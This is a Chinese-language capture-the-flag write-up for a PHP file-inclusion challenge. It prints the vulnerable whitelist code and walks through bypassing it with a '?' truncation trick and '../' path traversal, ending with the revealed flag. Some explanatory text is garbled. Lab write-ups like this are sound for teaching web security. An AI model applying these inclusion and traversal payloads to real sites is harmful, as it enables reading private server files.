题目环境:
发现除了表情包,再无其他 F12试试
发现source.php文件
访问这个文件,格式如下:
url/source.php
回显如下:
PHP代码审计:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
whitelist的数组中。这个数组包含两个元素,分别是"source.php"和"hint.php"。如果
whitelist中,方法将返回true。
whitelist中,那么checkFile方法将尝试通过以下步骤查找匹配的文件名:
page中的位置。这可能是为了检查是否存在一个查询字符串。
_REQUEST[‘file’])检查,那么它将包含(include)这个文件并退出。否则,它将显示最初页面的那个滑稽表情包图片。
查看hint.php内容
查看格式:
url/hint.php
回显结果:
这里说flag在ffffllllaaaagggg文件里面
有了目标就好办了,构造下payload:
url/source.php?file=hint.php?/ffffllllaaaagggg
竟然什么都没有显示 分析一下原因:
1、“.”表示当前目录,也可以用“./”表示。
2、“…”表示上一级目录,也可以用“…/”表示。 3、“~” 代表用户自己的宿主目录。 4、“/”处于Linux文件系统树形结构的最顶端,我们称它为Linux文件系统的root,它是Linux文件系统的入口。
继续构造payload:
url/source.php?file=hint.php?../../../../../../ffffllllaaaagggg
这里就是说一直返回上一级查找,直到查找到flag为止,最终返回到/root根目录,因为ffffllllaaaagggg原本是在hint.php文件里面嘛,所以说要一直往上一级目录找它的原始位置,
…/倒不是一定是6个,看你的flag具体在那个上一级目录了😉
上传payload
回显结果:
爆出flag:
flag{89c3539b-c6f4-4454-892a-ff1e460a560b}